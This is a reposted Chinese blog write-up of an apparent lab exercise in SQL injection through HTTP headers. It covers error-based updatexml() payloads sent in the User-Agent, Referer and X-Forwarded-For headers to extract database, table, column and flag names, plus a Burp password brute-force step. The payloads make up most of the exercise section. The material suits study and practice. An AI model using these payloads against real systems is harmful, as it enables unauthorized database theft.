ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

sql head注入

2021-07-12 07:00:06  阅读:205  来源: 互联网

标签:head name sql 0x7e limit select updatexml concat 注入


关于head注入的解释

Header是指HTTP的头,包括
User-Agent:使得服务器能够识别客户使用的操作系统,游览器版本等.(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)
Cookie:网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密).
X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP]).
Clien-IP:是代理服务器发送的HTTP头,取得用户的IP。
Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的.
Host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号

相关函数

updatexml() 更新xml文档的函数
语法:updatexml(目标xml内容,xml文档路径,更新的内容)
updatexml()与extractvalue()类似,一样的功能,这里就不多赘述了。
另一个是
concat(str1,str2,…)
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。

user-agent有三个参数

相关练习

header的ua注入

需要先登录进行正常,才能进行相关操作

尝试万能语句,存在一些sql防注入,用bp跑,返现密码为123456

然后对ua后的进行注入

查库名

',updatexml(1,concat(0x7e,(SELECT database()),0x7e),1))# 

0x7e是十六级进制的~,防止路径不符合

跑表名

',updatexml(1,concat(0x7e,(select table_name from information_schema.tables where TABLE_SCHEMA=database() limit 0,1),0x7e),1))# 
这个是查列的属性的   第二列是跟flag有关的,有一列是id,因为至多只能提交一列数据,不能多次进行查看,所以只能纸样一个一个个的来
',updatexml(1,concat(0x7e,(select column_name from information_schema.COLUMNS where TABLE_NAME='flag_head'limit 1,1),0x7e),1))#

查看列对应的第一行内容

',updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 0,1),0x7e),1))#

referer同理

',updatexml(1,concat(0x7e,(SELECT database()),0x7e),1))#  
',updatexml(1,concat(0x7e,(select table_name from information_schema.tables where TABLE_SCHEMA=database() limit 0,1),0x7e),1))# 
',updatexml(1,concat(0x7e,(select column_name from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1),0x7e),1))#
',updatexml(1,concat(0x7e,(select 字段名 from 表名 limit 0,1),0x7e),1))#

xff的

同理

添加对应的xff头

xff后的冒号要空格

X-Forwarded-For: ',updatexml(1,concat(0x7e,(SELECT database()),0x7e),1))# 

X-Forwarded-For: ',updatexml(1,concat(0x7e,(select table_name from information_schema.tables where TABLE_SCHEMA=database() limit 0,1),0x7e),1))# 

X-Forwarded-For: ',updatexml(1,concat(0x7e,(select column_name from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1),0x7e),1))#

X-Forwarded-For: ',updatexml(1,concat(0x7e,(select 字段名 from 表名 limit 2,1),0x7e),1))#

标签:head,name,sql,0x7e,limit,select,updatexml,concat,注入
来源: https://www.cnblogs.com/chenyouxiu/p/15000409.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有